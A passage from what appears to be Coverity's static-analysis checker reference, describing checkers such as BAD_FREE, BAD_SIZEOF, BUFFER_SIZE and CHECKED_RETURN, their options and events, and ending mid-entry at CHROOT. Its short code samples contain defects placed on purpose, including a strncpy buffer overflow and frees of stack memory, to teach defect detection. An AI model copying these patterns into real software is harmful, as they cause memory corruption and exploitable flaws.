use_value_equality - A structural equality check that is in
the minority. Each defect can also include up to five examples of the majority
equality check with event name struct_eq_use where the referential
equality check was used in the code.
value_equality_use - A referential equality check that is in
the minority. Each defect can also include up to five examples of the majority
equality check with event name ref_eq_use where the structural
equality check was used in the code.
BAD_EQ_TYPES finds equality checks on object references of incompatible types. This is rarely intended because it is unusual to treat objects of different types as equal. The checker does not report an error when the comparison is part of an assertion.
The C# compiler even rejects code that compares two incompatible object references
using the built-in == operator. This checker extends that behavior by
checking the following types of comparisons:
x.Equals(y)
Object.ReferenceEquals(x,y)
This section provides one or more BAD_EQ_TYPES examples.
// (c) 2013 Coverity, Inc. All rights reserved worldwide.
class B {
public override bool Equals(object obj) {
return base.Equals(obj);
}
}
class C {
static void test(B x, C y) {
// Defect: The following call always returns false
// because B and C are of unrelated types.
x.Equals(y);
}
}
Supported Languages: C, C++, Objective-C, Objective-C++
BAD_FREE finds many cases where a pointer is freed but not dynamically allocated. Freeing a pointer that does not point to dynamically allocated memory has undefined behavior. The typical effect is to corrupt memory, which later causes the program to crash.
Enabled by default: BAD_FREE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_FREE examples.
Freeing an array type:
struct S { int a[4]; };
void fn(struct S *s) {
int stackarray[3];
int *p = stackarray; // array_assign
free(p); // incorrect_free
free(s->a); // array_free
}Freeing a function pointer:
int (*fnptr)(int);
void fn() {
free(fnptr); // fnptr_free
}This section describes one or more BAD_FREE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_FREE:allow_first_field:<boolean> - When this
option is set to true, the
checker suppresses defect reports on the freeing of the address of the first
field of a structure, or the first element of the first field, or the first
field of the first field, and so on. Because the address of the first field is
the same as the address of the containing object, these constructs are harmless.
Defaults to
BAD_FREE:allow_first_field:true
This section describes one or more events produced by the BAD_FREE checker.
address_compare - Address of variable compared as equal to a
pointer.
address_free - Error freeing address of a variable.
array_assign - Array assigned to pointer.
array_compare - Array compared as equal to a pointer.
fnptr_free - Error freeing function pointer.
incorrect_free - Error freeing pointer to array or
address.
BAD_LOCK_OBJECT finds many cases where a critical section is guarded by locking on an inappropriate lock expression, such as an interned string, a boxed Java primitive, or a field whose contents could change during the execution of the critical section. Locking on such bad lock objects could cause nondeterministic behavior or deadlocks.
Enabled by default: BAD_LOCK_OBJECT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_LOCK_OBJECT examples.
class BadLockObjectExamples {
// This is the most correct way to do this. Create an immutable object of
// type object which is used only as a lock. Do this instead of any of the
// examples that follow.
private readonly object myLock = new object();
public void TheCorrectWay() {
lock(myLock) {
/* ... some critical section ... */
}
}
// Yes, C# will let you do this, but it is a very bad idea. String
// literals are centrally interned and could also be locked on by a library,
// causing you to potentially have deadlocks or lock collisions with other
// code.
public void DontLockOnStringLiterals() {
lock("") {}
}
// This is also a bad idea, for the same reason as the above.
string strLock = "";
public void DontLockOnFieldsInitializedWStringLiterals() {
lock(strLock) {
}
}
// string.Empty has different interning behaviors in different versions of
// the VM. Locking on string.Empty is especially bad.
public void EspeciallyDontLockOnStringEmpty() {
lock(string.Empty) {
}
}
// string.intern returns the canonical, centrally stored copy of a string.
// It suffers from the same problems as the above.
public void DontLockOnInternedStrings(string someStr) {
lock(string.Intern(someStr)) {
}
}
// The object created in the lock statement can only be accessed by
// one thread. Locking upon it will do nothing.
public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
lock(new object()) {
}
}
// Boxed structs in C# also create a new object which is likely only
// accessible to the current thread.
public struct SomeStruct {
public int x;
public int y;
}
public void DontLockOnBoxedStructs(SomeStruct x) {
lock((object) x) {
}
}
// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(object[] items) {
if(myList == null) {
myList = new ArrayList();
}
lock(myList) {
foreach(object item in items) {
myList.Add(item);
}
}
}
// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
lock(myList) {
myList = new ArrayList();
/* ... other critical section operations ... */
}
}
}class BadLockObjectExamples {
// This is the most correct way to do this. Create an immutable object of
// type object which is used only as a lock. Do this instead of any of the
// examples that follow.
private final Object myLock = new Object();
public void TheCorrectWay() {
synchronized(myLock) {
/* ... some critical section ... */
}
}
// Yes, Java will let you do this, but it is a very bad idea. String
// literals are centrally interned and could also be locked on
// by a library,
// causing you to potentially have deadlocks or lock collisions
// with other code.
public void DontLockOnStringLiterals() {
synchronized("") {}
}
// This is also a bad idea, for the same reason as the above.
String strLock = "";
public void DontLockOnFieldsInitializedWStringLiterals() {
synchronized(strLock) {
}
}
// String.intern returns the canonical, centrally stored copy of a string.
// It suffers from the same problems as the above.
public void DontLockOnInternedStrings(String someStr) {
synchronized(someStr.intern()) {
}
}
// This is a bad idea for the same reason as locking on the empty string.
// Boxed integers within a certain range are guaranteed to be stored in
// the same central location. Thus, you can have locking collisions
// with libraries.
public void DontLockOnBoxedIntegers() {
synchronized((Integer) 0) {
}
}
// This is even worse. If someVal can be a value outside of the small range
// where aliasing is guaranteed, the aliasing behavior of the boxed integer
// is not guaranteed at all. It may work differently on different systems
// or between different versions of the JVM.
public void DontLockOnBoxedIntegers2(int someVal) {
synchronized((Integer) someVal) {
}
}
// For floats, doubles, and other boxable types, there is no range in which
// the aliasing of a boxed value is guaranteed.
public void DontLockOnFloatsOrDoubles() {
synchronized((Float) 0.0f) {
}
}
// BAD_LOCK_OBJECT will notice if a box happens in a field.
Integer intLock = 5;
public void FieldBoxedInt() {
synchronized(intLock) {
}
}
// The object created in the synchronized statement can only be accessed by
// one thread. Locking upon it will do nothing.
public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
synchronized(new Object()) {
}
}
// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(Object[] items) {
if(myList == null) {
myList = new ArrayList();
}
synchronized(myList) {
for(Object item : items) {
myList.add(item);
}
}
}
// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
synchronized(myList) {
myList = new ArrayList();
/* ... other critical section operations ... */
}
}
}This section describes one or more events produced by the BAD_LOCK_OBJECT checker.
assign - [C#, Java] Identifies an expression that assigns an
unsuitable lock object to a variable. Used in the
single_thread_lock, boxed_lock,
and interned_string_lock subcategories.
assign_to_field - [C#, Java] Identifies the point where the
locked field was assigned. This event is involved in the
unsafe_assign_to_locked_field subcategory.
boxed_lock - [Java only] Main event for the
boxed_lock subcategory: Indicates that the code has
locked on a boxed Java primitive.
box_primitive - [Java only] Indicates that a primitive has
been boxed into some form of object, which is a possible source of a bad lock
object for the boxed_lock subcategory.
boxed_struct - [C# only] Identifies a C# object that comes
from a boxed struct, which is a possible source of a bad lock object for the
single_thread_lock subcategory.
csharp_string_empty - [C# only] Identifies a use of the C#
static field String.Empty, the value of which is interned in some
versions of .NET and not in others. This is a possible source of a bad lock
object for the interned_string_lock subcategory.
canonical_origin - [C#, Java] Indicates that a field is
assigned a canonical representation of a string or boxed primitive in another
method.
getlock - [C#, Java] Indicates that an unsuitable lock value
is used as a lock in a callee. Used in the boxed_lock and
interned_string_lock subcategories.
interned_string_lock - [C#, Java] Main event for the
interned_string_lock subcategory: Indicates that the
code has locked on an interned string.
lock_on_assigned_field - [C#, Java] Main event of the
unsafe_assign_to_locked_field subcategory: Identifies
the point where the assigned field is locked.
new_object - [C#, Java] Identifies an object that was
explicitly constructed with new, which is a possible source of a
bad lock object for the single_thread_lock
subcategory.
numeric_literal - [Java only] Identifies an integer, floating
point, or other primitive literal that is later boxed and used as a lock. This
is a possible source of a bad lock object for the
boxed_lock subcategory.
single_thread_lock - [C#, Java] Main event for the
single_thread_lock subcategory: Indicates that the code
has locked on an object that is not accessible outside of this thread.
string_intern - [C#, Java] Identifies an explicit call to the
Java or C# string internment function, which returns an interned representation
of the passed-in string. This can be a source of a bad lock object for the
interned_string_lock subcategory.
string_literal - [C#, Java] Identifies a string literal that
is later used as a lock, which is a possible source for the
interned_string_lock subcategory.
use_immutable_object_lock - [C#, Java] Remediation advice:
Recommends that the user set up an immutable field of type Object
to use as a lock, instead of the current suspicious lock expression.
Supported Languages: C++, Objective-C++
BAD_OVERRIDE
finds many cases where the code attempts to override a method in a base/parent class,
but the method signature does not match, so the override does not occur. For example, it
finds many defects in overriding virtual functions due to missing const
modifiers, which result in type signature mismatches.
Enabled by default: BAD_OVERRIDE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_OVERRIDE examples.
The following code compiles but probably does not work as intended:
class base {
virtual void foo() const {/*...*/}
};
class child: public base {
/* Warning: child::foo is probably meant to override base::foo but
type signatures don't match perfectly */
void foo() { /* ... */ }
};The following code shows a defect that is found when you use the
virtual option:
class base {
void foo() const {}
};
class child: public base {
/* Warning: child::foo is probably meant to override base::foo but
that function is not virtual. */
void foo() const {}
}This section describes one or more BAD_OVERRIDE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_OVERRIDE:virtual:<boolean> - When this option is set to true, the checker will report
cases in C++ where a method in a derived class has the same signature as a base
class method, but the base class method is not virtual, and therefore not
overridden (it is merely hidden). Such a case is suspicious, but it might be
intentional. Defaults to
BAD_OVERRIDE:virtual:false
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
BAD_SHIFT finds bit shift operations where the value or the range of possible values for the shift amount (the right operand) is such that the operation might invoke undefined behavior or might not produce the expected result.
Specifically, the checker finds cases where:
For a left bit shift (<<), the shift amount is
greater than or equal to the size, in bits, of the type to which the left
operand is promoted.
For a right bit shift (>> and also
>>> for Java), the shift amount is greater than
or equal to the size, in bits, of the (unpromoted) left operand.
The shift amount is negative.
Enabled by default: BAD_SHIFT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_SHIFT examples.
In the following C/C++ example, a left shift by a number greater than or equal to the size, in bits, of the type to which the left operand is promoted has undefined behavior.
int large_left_shift(int val, int shift_amount)
{
if (shift_amount < 32) return val;
// Shift amount is at least 32 which is larger than 31, the maximum
// valid shift amount for a left operand of type 'int' (on an
// architecture where 'int' is 4 bytes).
// This operation has undefined behavior.
return (val << shift_amount);
}The following example shows a right shift by an amount that is greater than the unpromoted size, in bits, of the shiftee.
unsigned int large_right_shift(unsigned char val, int shift_amount)
{
if (shift_amount < 8) return val;
// Shift amount is at least 8 which is larger than 7, the maximum
// useful shift amount for a left operand of type 'char'.
// This operation is well-defined, but always yields zero.
return (val >> shift_amount);
}In the following example, a defect is reported for a left shift operation with a
right operand larger or equal to the size, in bits, of the promoted left operand. In
that situation, the actual shift amount is obtained by applying a bit mask to the
right operand. The bit mask value is 0x1F (31) when the left operand is
promoted to int, or 0x3F (63) when promoted to
long.
int large_left_shift(int val, int shift_amount)
{
if (shift_amount < 32) return val;
// Shift amount is at least 32, a bit mask of 0x1F is applied to
// the shift amount (shift_amount & 0x1F).
return (val << shift_amount);
}Supported Languages: C, C++, Objective-C, Objective-C++
BAD_SIZEOF
reports the use of the sizeof operator when the argument is one of several
suspicious categories such as the address of an object (usually the size of the actual
object is intended). Unintended size values can lead to a variety of issues, such as
insufficient or excessive allocation, buffer overruns, partial initialization or
copying, and logic inconsistencies.
BAD_SIZEOF reports sizeof operators that are applied to:
A function parameter that has a pointer type.
The C++ this pointer.
The address of an object.
A pointer arithmetic expression.
Incorrect size values can lead to a variety of issues, such as insufficient or excessive allocation, buffer overruns, partial initialization or copying, and logic inconsistencies.
Fixing these defects depends on what you intended the code to do. If the
sizeof is genuinely incorrect, you can often solve these issues by
removing a level of indirection from the operand of sizeof, or by adjusting
the placement of parentheses.
Enabled by default: BAD_SIZEOF is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_SIZEOF examples.
In the following example,
param_not_really_an_array looks syntactically like an array, but is
actually a pointer. When you apply the sizeof operator to the pointer, it
yields the size of a pointer (typically 4 or 8 bytes), and not the expected 10 bytes:
void f(char param_not_really_an_array[10]) {
/* Defect */
memset(param_not_really_an_array, 0, sizeof(param_not_really_an_array));
}In the following example, sizeof is applied to the this
pointer rather than to the *this object, which yields an incorrect value
for the size of the object:
size_t SomeClass::getObjectSize() const {
/* Defect */
return sizeof(this);
}In the following example, the sizeof operator is applied to the address
of s rather than to s itself, which yields a larger value and
overwrites adjacent memory locations:
short s; memset(&s, 0, sizeof(&s)); /* Defect */
In the following example, the sizeof operator is applied to the pointer
arithmetic expression buf – 3. The expression has type char*
and is likely 4 or 8 bytes in size, rather than sizeof applied to
buf, and then subtracting 3 from the result, which yields the desired
value of 97:
char buf[100]; buf[0] = ‘x’; buf[1] = ‘y’; buf[2] = ‘z’; memset(buf + 3, 0, sizeof(buf - 3)); /* Defect */
This section describes one or more BAD_SIZEOF options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_SIZEOF:report_pointers:<boolean> - When this
option is set to true, the
checker reports defects if a sizeof operator is used to obtain the
size of almost any pointer. Defaults to
BAD_SIZEOF:report_pointers:false
Example:
int *p_int = malloc(10 * sizeof(p_int));
/* Defect: sizeof(*p_int) intended */
int *q_int;
memcpy(&q_int, &p_int, sizeof(p_int)); /* Intentional:
legitimate use of sizeof applied to a pointer */ Certain common idioms that are related to arrays of pointers are automatically
exempted even when report_pointers:true is specified:
char *array_of_ptr_to_char[10];
size_t total_bytes = 10 * sizeof(array_of_ptr_to_char[0]);
/* would normally be reported */
size_t total_bytes2 = 10 * sizeof(*array_of_ptr_to_char);
/* pointer/array equivalence */
/* denominator would normally be reported */
int num_elems = sizeof(array_of_ptr_to_char) / sizeof(array_of_ptr_to_char[0]);
char **ptr_to_ptr_to_char = array_of_ptr_to_char;
int num_elems2 = total_bytes / sizeof(*ptr_to_ptr_to_char);
/* more pointer/array equivalence */Supported Languages: C, C++, Objective-C, Objective-C++
BUFFER_SIZE finds many cases of possible buffer overflows
due to incorrect size arguments being passed to buffer manipulation functions. These
incorrect arguments, when passed to functions such as strncpy() or
memcpy(), can cause memory corruption, security defects, and
program crashes. To enable this checker, use the -en BUFFER_SIZE
option. This option also enables BUFFER_SIZE_WARNING.
This checker reports a BUFFER_SIZE defect
when it finds a function passed a size argument that will overflow the buffer target. It
issues a warning, BUFFER_SIZE_WARNING, when the size argument is the exact
size of the buffer target, leaving no room for a null terminator.
This checker analyzes calls to the following functions:
strncpy, memcpy, fgets,
memmove, wmemmove, memset,
strxfrm
wcxfrm, wcsncpy, wcsncat
lstrcpyn, strcpynw
StrCpyN, StrCpyNA, StrCpyNW
_mbsncpy, _tcsnpy, _mbsncat,
_tcsncat, _tcsxfrm
Disabled by default: BUFFER_SIZE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable BUFFER_SIZE
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more BUFFER_SIZE examples.
In the following example, a call to
strncpy()generates an error because the length of the source string is
twenty characters, but the destination string can only have a maximum of 10
characters:
void buffer_size_example() {
static char source[] = "Twenty characters!!!";
char dest[10];
strncpy(dest, source, strlen(source));
}This section describes one or more BUFFER_SIZE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BUFFER_SIZE:report_fixed_size_dest:<boolean> - When
this option is set to
true, the checker reports defects when the destination size is
known, but the source size is not (for example, a pointer). These are potential
overflows because the source could be arbitrarily large and should be length
checked before being passed to the copy routine. By default, defects are not
reported unless both source and destination sizes are known. Defaults to
BUFFER_SIZE:report_fixed_size_dest:false
Supported Languages: C#, Java, and Visual Basic
CALL_SUPER finds many cases where a method is overridden, and the overriding method should call the superclass (for Java) or base class (for C# and Visual Basic) implementation, but it does not. The checker has a built-in list of methods for which all overriders should call the superclass or base class implementation. For others, it deduces that requirement by statistically analyzing the code that is undergoing analysis.
By default, if 65% or more of a overriders for a given method call the base class, all non-calling overriders will be reported as defects. Often, the base class or superclass implementation contains required functionality that must be executed for correct implementation. If most of the overriders call the base class or superclass, the overriders that do not might be in error. The programmer might have forgotten to include the base class or superclass call. This can lead to hard-to-diagnose errors and unanticipated behavior.
Note that the statistical analysis might lead to a high false positive rate depending on the application that is undergoing analysis analyzed. You can increase the threshold option to suppress some false positives in your Java, C#, or Visual Basic code base.
In Java, because all implementations of Object.clone are
required to call super.clone(), CALL_SUPER reports a missing
call to super.clone() as a defect regardless of the statistical
threshold. In addition, a defect is reported if a call to
Object.finalize() does not call
super.finalize(). You can
change this with the CALL_SUPER:whitelist:
option.
Enabled by default: CALL_SUPER is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.
This section provides one or more CALL_SUPER examples.
In this example, DerivedGood1::Foo and DerivedGood2::Foo
both call their base implementation from Base, however, DerivedBad::Foo does not.
A defect is reported for DerivedBad::Foo since the default threshold
(see threshold option) is exceeded.
using System;
class Base {
public virtual void Foo() {
Console.WriteLine("Doing something important");
}
}
class DerivedGood1 : Base {
public override void Foo() {
base.Foo();
Console.WriteLine("Something else important");
}
}
class DerivedGood2 : Base {
public override void Foo() {
base.Foo();
Console.WriteLine("Something else important");
}
}
class DerivedBad : Base {
//A CALL_SUPER defect.
public override void Foo() {
// Forgot to call base.Foo()!
Console.WriteLine("Something else important");
}
}In this example, CallSuperExample1::clone does not call it's super implementation
from Object. This leads to an invalid cast exception in
Sub::clone when it attempts to cast the result of its super call to
clone to Sub. A defect is reported for Sub::clone in this
case.
public class CallSuperExample1 {
@Override
protected Object clone() throws CloneNotSupportedException {
//missing super()
return new CallSuperExample1();
}
class Sub extends CallSuperExample1 {
int f;
protected Object clone() throws CloneNotSupportedException {
Sub s = (Sub) super.clone(); // Cast should succeed but does not.
s.f = this.f;
return s;
}
}
}In this example, A::sample and B::sample both call their base
implementation from CallSuperExample2, however, C::sample
does not. A defect is reported for C::sample because the default
threshold (see threshold option) is exceeded.
public class CallSuperExample2 {
public void sample() {
System.out.println("A sample method!");
}
class A extends CallSuperExample2{
public void sample() {
super.sample();
}
}
class B extends CallSuperExample2{
public void sample() {
super.sample();
}
}
class C extends CallSuperExample2{
public void sample() {
//missing super()
return;
}
}
} In this example, DerivedGood1::Foo
and DerivedGood2::Foo both call their base implementation
from Base, however, DerivedBad::Foo does not.
A defect is reported for DerivedBad::Foo since the default
threshold (see threshold option) is exceeded.
Imports System
Class Base
Public Overridable Sub Foo()
Console.WriteLine("Doing something important")
End Sub
End Class
Class DerivedGood1 : Inherits Base
Public Overrides Sub Foo()
MyBase.Foo()
Console.WriteLine("Something else important")
End Sub
End Class
Class DerivedGood2 : Inherits Base
Public Overrides Sub Foo()
MyBase.Foo()
Console.WriteLine("Something else important")
End Sub
End Class
Class DerivedBad : Inherits Base
' CALL_SUPER defect.
Public Overrides Sub Foo()
' Forgot to call MyBase.Foo()
Console.WriteLine("Something else important")
End Sub
End ClassThis section describes one or more CALL_SUPER options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
CALL_SUPER:report_empty_overrides:<boolean> -
When this option is set to false
(default for C# and Visual Basic), the checker will not report a defect on a
method with an empty implementation (as in { }) because the
developer might have intended that the method not call super. When
true (default for Java), empty methods are are treated like
non-empty methods are treated. Defaults to
CALL_SUPER:report_empty_overrides:true (for Java).
Defaults to CALL_SUPER:report_empty_overrides:false
(for C# and Visual Basic).
CALL_SUPER:threshold:<ratio> - This option sets the minimum fraction of method
overriders that must call the base class implementation before defects are
reported on those that do not. For <ratio>, enter a
floating point number between 0 and 1. Defaults to
CALL_SUPER:threshold:.65 (for
C#, Java, and Visual Basic).
This checker option is automatically set to
.55 if the --aggressiveness-level option of
cov-analyze is set to medium (or to
high).
This example changes the ratio to .80:
> cov-analyze -co CALL_SUPER:threshold:.80CALL_SUPER:whitelist:<boolean> - This option determines whether CALL_SUPER uses its
built-in list of methods whose superclass implementation must be called from
overriders. For C#, this list consists of Dispose,
Close, and some methods in the
System.Windows.Forms API that are documented with the
strong suggestion to call the implementation of the base class. For Java, this
list consists of clone, finalize, and a number of
Android API methods. If true, any overrider of a whitelisted method
is expected to call the super implementation, regardless of statistical
evidence. Defaults to
CALL_SUPER:whitelist:true (for
C#, Java, and Visual Basic).
For Java, CALL_SUPER looks for the
OverridersMustCall and
OverridersNeedNotCall annotations, which you can use to
explicitly tag methods with the appropriate behavior. These annotations override the
default inferences that the checker uses.
For example, the following example shows how to annotate the
CallSuperExample3 class so that the CALL_SUPER checker
understands that overriders of sample() must call the
superclass implementation:
import com.coverity.annotations.OverridersMustCall;
class CallSuperExample3 {
@OverridersMustCall
public void sample() {
//Do something.
}
}
// Despite the lack of statistical evidence,
// the previous annotation means that calling super is mandatory.
class OverridersMustCallExample extends CallSuperExample3 {
@Override
public void sample() {
//Defect, missing call to superclass
}
}See Section 6.3.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at <install_dir>/doc/<en|ja>/annotations/index.html
for more information.
This section describes one or more events produced by the CALL_SUPER checker.
missing_super_call - Shows the first non-comment line of
the overrider that failed to call the base class.
called_super - Shows an overrider that did call the base
class. Up to five called_super events are shown for
context.
superclass_implementation - Shows the body of the base
class implementation, to help determine whether super should be
called.
Supported Languages: C, C++, Objective-C, Objective-C++
CHAR_IO reports a defect when the return value of a
call to one of several stdio functions or wchar_t functions (getwc,
getwchar, fputwc, etc) is incorrectly assigned to a char-typed variable instead of an
int-typed variable. The return values of those functions should not be assigned to a
char or a wchar_t. Typically, such assigments make the program confuse certain input
characters with the end of file marker (EOF), causing the input data to be
corrupted.
The checker analyzes functions fgetc, getc,
getchar, and istream::get(), which return
int values, not char values.
Assigning an int value to a char variable truncates the value. If the char variable is unsigned, the low-order 8 bits of the int value are not put into the char variable, which is a modulo operation if the int value is non-negative. If the int value is -1, the low-order 8 bits of the representation of -1 are put into the char variable, which results in a value of 255. If the char variable is signed, an int value of -1 remains -1 in the char variable, but any int value greater than 127 becomes a negative value in the char variable. Using a signed char variable is also unsafe. A stray 0xFF byte (Ó± character in ISO-8859-1 encoding) will cause the program to erroneously think that EOF is reached. The C standard requires passing such functions an integer in the range of -1 to 255. A signed char variable can potentially have values as low as -128.
Enabled by default: CHAR_IO is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more CHAR_IO examples.
The following example shows the returned value
of the getchar() function assigned to a char
variable.
int char_io() {
char c;
c = getchar(); // Returns an int value to c, which is a char
}The following example shows the returned value of the getwchar() function assigned to a wchar_t variable.
void fnw() {
wchar_t wc;
wc = getwchar(); // char_io
}Supported Languages: C, C++, Java, Objective-C, Objective-C++
CHECKED_RETURN finds many cases where the return value of a function is ignored when it should have been checked. For example, it detects the case where the code neglects to handle an error code returned from a system call. This is a statistical type checker: it determines which functions should be checked based on use patterns. For this checker, you establish the pattern as a ratio between the number of times the return value of a function is checked and the total number of times that function is called.
You can produce a file
() that stores information
about the percentage of times that the return value of each function is checked, by
using the <intermediate_directory>/output/checked-return.csv--enable-callgraph-metrics option to
cov-analyze when running this checker. This information can help
you understand situations where the statistical checkers report different defects in
local builds than they do in full builds.
Note that unlike USELESS_CALL analyses, CHECKED_RETURN analyses typically concern functions that have side effects. Additionally, CHECKED_RETURN examines how the return value is used and, unlike USELESS_CALL, might report a defect when a return value is used. Finally, CHECKED_RETURN only applies with scalar return types (see also NULL_RETURNS).
Enabled by default: CHECKED_RETURN is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
The CHECKED_RETURN checker finds instances of inconsistencies in how function return values are handled. For example, it detects the case where the code neglects to handle an error code returned from a system call that the code does check in other places.
Ignoring returned function error codes and assuming that an operation was
successful can cause incorrect program behavior, and in some cases system crashes.
The only way to suppress returned function error codes is to cast the called
function result to a void.
For the following functions (which read data from a byte-oriented input, store it into a buffer, and return the number of bytes that have been copied to the buffer or a negative value), CHECKED_RETURN also reports issues if the returned value is not used or is not compared to 0. In such cases, the buffer can potentially be accessed outside of the range where the data has been copied by the read operation.
size_t read(int fd, void *buf, size_t count);
size_t fread(void *buf, size_t size, size_t count, FILE
*fp);
Example:
int f(int fd)
{
char buf[10];
if (read(fd, buf, 10) < 0)
return -1;
return buf[9];
}![]() | |
The CHECKED_RETURN checker does not check overloaded comparison operators that are used as function arguments (for example, the != operator). |
Java methods typically throw exceptions to indicate errors, but occasionally programmers use return values to indicate special cases. CHECKED_RETURN is a statistical checker that determines whether the return value of a method should be tested after each call.
This CHECKED_RETURN performs the following actions:
Examines the number of call sites for each method that return a primitive value (see the following for default methods).
Counts the number of times the return value is checked.
If the ratio of checked call sites to total call sites is greater than 80 percent
(which can be changed with the
stat_threshold option), defects are reported at
call sites of methods that need to be checked where the value is not checked or used
at all.
By default, CHECKED_RETURN checks the following methods:
java.io.InputStream
read()
read(byte[])
read(byte[], int, int)
skip(long)
java.io.Reader
read()
read(char[])
read(char[], int, int)
read(java.nio.CharBuffer)
skip(long)
For the following methods (which read data from a byte-oriented input, store it into a buffer, and return the number of bytes that have been copied to the buffer or a negative value), CHECKED_RETURN also reports issues if the returned value is not used or is compared to 0. In such cases, the buffer can potentially be accessed outside of the range where the data has been copied by the read operation.
int InputStream.read(byte[] buf);
int InputStream.read(byte[], int offset, int count);
Any override of the preceding methods.
Example:
int f(InputStream is) throws IOException
{
byte buffer[] = new byte[10];
// Number of copied bytes is ignored
if (is.read(buffer, 0 , 10) < 0) {
return -1;
}
// 'buffer' may be accessed out of range.
return buffer[9];
}This section provides one or more CHECKED_RETURN examples.
In the following example, four functions (good_function_n) test for
return values when calling function_with_error_code. The function
bad_function, at the end, does not check the return code for
function_with_error_code.
This means that 80% of the code in the sample does check the
function results. By default the
CHECKED_RETURN:stat_threshold:<percentage> option is set
to 80% as the threshold at which CHECKED_RETURN examines all the code for checking
return values. As a result, it will report a defect for bad_function,
because that function does not check the return value of
function_with_error_code, thus violating the usage pattern for the
code as a whole.
void good_function_1() {
int rv = function_with_error_code();
if (rv == -1)
handle_error();
}
void good_function_2() {
if (function_with_error_code())
handle_error();
}
void good_function_3() {
int rv = function_with_error_code();
if (rv < 0)
handle_error();
}
void good_function_4() {
int rv = function_with_error_code();
if (rv < 0)
handle_error();
}
void bad_function() {
// Defect: Function return code is usually checked.
function_with_error_code();
}This section describes one or more CHECKED_RETURN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
CHECKED_RETURN:error_on_use:<boolean> - When this
option is set to true, the
checker will treat the passing of the return value of one function to the
parameter of another, without first checking that value, as a defect (if it
concludes that the first function's return value is supposed to be checked).
Defaults to
CHECKED_RETURN:error_on_use:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
If you specify this option, the second case in the following example is flagged as a defect:
// Usual: int rv = foo(); if(rv) return rv; // Defect case: int rv = foo(); bar(rv); //or: //bar(foo());
CHECKED_RETURN:stat_threshold:<percentage> - This
option sets the percentage of call sites to
a function that must check the return value in order for the statistical
analysis to conclude that all call sites should be checked. The percentage
represents the proportion of "correct" code (that is, when function returns are
checked) needed to flag "bad" code (function returns that are not checked) as a
defect. For example, stat_threshold:85 means that when 85% of
function return values are checked, this checker flags the unchecked return
values as defects. Defaults to
CHECKED_RETURN:stat_threshold:80
This checker option is automatically set to
55 if the --aggressiveness-level option of
cov-analyze is set to medium (or to
high).
The following example requires 90% of return values of a method to be checked before reporting a defect:
> cov-analyze -co CHECKED_RETURN:stat_threshold:90![]() | |
Defects found in code that inserts a primitive (see Example: Inserting a Primitive) are not subject to the
|
C/C++ only
You can insert the following primitive to specify that the return value of a function should always be checked (as opposed to being statistically inferred). The primitive will require any values that are returned by the function on its execution path to be checked.
void __coverity_always_check_return__();
Example that inserts the primitive:
int always_check_me(void) {
__coverity_always_check_return__();
return rand() % 2;
}
int main(int c, char **argv) {
always_check_me(); #defect#checked_return
// the statement above is a defect because the value is not checked
cout << "Hello world" << endl;
}Java only
For Java, CHECKED_RETURN recognizes the following annotation:
@CheckReturnValue
You can use the CheckReturnValue annotation to specify that the return
value of a method should always be checked.
For example, the following annotation indicates to CHECKED_RETURN to always check the
return value of annotRv:
import com.coverity.annotations.CheckReturnValue;
....
@CheckReturnValue
public int annotRv() {
return b ? 0 : -1;
}See Section 6.3.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc
documentation at <install_dir>/doc/<en|ja>/annotations/index.html for more information.
This section describes one or more events produced by the CHECKED_RETURN checker.
check_return - [C/C++] A function returning a value that
must be checked was identified. The value is subsequently tracked to see if
a check does take place.
check_return - [Java] Called method without checking
return value.
example_checked - [Java] Method return value was
checked.
unchecked_value - [C/C++] A return value was not checked
properly. This event can occur if the return value is not captured at all,
the return value is passed as a parameter to a second function without a
preceding check, or the return value is captured but not checked before the
variable holding that return value leaves scope.
Supported Languages: C, C++, Objective-C, Objective-C++
CHROOT
finds many instances where an application can possibly break out of a
chroot()
jail and modify the filesystem. To create a secure
